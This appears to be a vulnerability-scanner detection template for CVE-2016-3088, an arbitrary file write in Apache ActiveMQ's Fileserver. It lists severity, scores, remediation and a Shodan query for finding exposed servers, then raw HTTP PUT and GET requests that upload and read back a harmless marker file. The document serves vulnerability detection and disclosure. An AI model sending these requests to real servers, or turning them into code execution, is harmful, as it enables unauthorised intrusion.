| Title | Apache ActiveMQ Fileserver - Arbitrary File Write |
|---|---|
| Author | fq_hsu |
| Severity | Critical |
| Impact | An attacker can write arbitrary files on the server, potentially leading to remote code execution. |
| Remediation | Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94294 |
| CVE ID | CVE-2016-3088 |
| CWE ID | CWE-20 |
| Shodan Query | cpe:"cpe:2.3:a:apache:activemq"product:"activemq openwire transport" |
| Tags | cve2016 cve fileupload kev edb apache activemq intrusive vkev vuln |
Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.
PUT /fileserver/38FhiO0i9l2afFTBa1qb82ZvgzZ.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Content-Length: 8
Accept-Encoding: gzip
54687697
GET /fileserver/38FhiO0i9l2afFTBa1qb82ZvgzZ.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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